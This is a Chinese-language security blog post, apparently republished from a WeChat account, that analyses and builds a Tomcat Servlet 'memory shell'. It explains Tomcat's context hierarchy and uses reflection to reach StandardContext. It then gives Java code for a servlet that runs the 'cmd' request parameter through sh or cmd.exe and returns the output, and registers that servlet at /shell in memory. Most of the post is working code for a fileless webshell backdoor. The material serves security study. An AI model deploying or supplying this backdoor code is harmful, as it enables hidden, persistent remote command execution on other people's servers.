前言
我是懒狗不想介绍太多前置知识,直入主题。
小弟水平有限,如有不对欢迎指出,以免误人子弟。
相关代码都放在 https://github.com/safe6Sec/MemoryShell
基础
更基础的东西,感兴趣的自己去补吧。我这里就提一下。
简单整理了一下tomcat的设计架构如下
Server->Catalina->Engine->host->context(web应用)->wrapper(servlet)
可以看出servlet就是个wrapper。它的上层是context也就是上下文,而tomcat上下文主要分三个。
-
ServletContext
-
ApplicationContext
-
StandardContext
它们之前的关系是如下:
ServletContext有一个实现类是ApplicationContext,而ApplicationContext实例中又包含了StandardContext实例。
ApplicationContext->StandardContext
而这里我们最关心的就是StandardContext(标准上下文),后期各种内存马都围绕着它进行。所以就衍生出了各种获取StandardContext的方式。目前全版本通杀的方式就是从线程数组里面取。
正向添加
我们先来学习学习如何正向的添加一个servlet。
注意:在3.0之前都是通过web.xml。3.0之后可以可用注解。
-
创建HttpServlet类,里面根据需要重写doGet或者doPost。也可以直接实现Servlet接口,把逻辑写在service里面。如下
2. 配置web.xml 如下
<servlet>
<servlet-name>Testservlet</servlet-name>
<servlet-class>cn.safe6.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Testservlet</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
由此可见很简单,只需要配置servlet和映射关系即可。
StandardContext分析
然后打个断点,开始分析StandardContext。
经过分析发现所有的servlet都被放在children里面,映射放在servletMappings里面。
那么我们只需要创建一个servlet加到children里,然后在把往servletMappings里面添加一个映射关系即可实现内存马。
内存马实现
第一步、先拿到StandardContext。方法很多,我这里有request就直接从request里面拿了。
//先拿到ServletContext
ServletContext servletContext = req.getServletContext();
Field appctx =servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//从ServletContext里面拿到ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field atx= applicationContext.getClass().getDeclaredField("context");
atx.setAccessible(true);
//从ApplicationContext里面拿到StandardContext
StandardContext standardContext = (StandardContext) atx.get(applicationContext);
第二步、创建servlet
如下主要逻辑(执行命令回显)
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);
resp.getWriter().write(output);
resp.getWriter().flush();
}
第三步、new一个servlet用wrapper包裹
注意设置name,后面配映射关系需要用到
//准备内存马
ServletShell shell = new ServletShell();
//用wrapper包装内存马
Wrapper wrapper = new StandardWrapper();
wrapper.setServlet(shell);
wrapper.setName("shell");
//设置加载顺序
//wrapper.setLoadOnStartup(1);
//设置servlet全限定名,可以不设置
wrapper.setServletClass(shell.getClass().getName());
第四步、添加到children
//添加到标准上下文
standardContext.addChild(wrapper);
第五步、配置映射关系
//添加映射关系
standardContext.addServletMappingDecoded("/shell","shell");
至此内存马完毕,接下来创建一个addservlet用来模拟内存马注入。
效果
注入
成功执行命令
参考
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
原文始发于微信公众号(safe6安全的成长日记):java内存马分析(二) Servlet内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论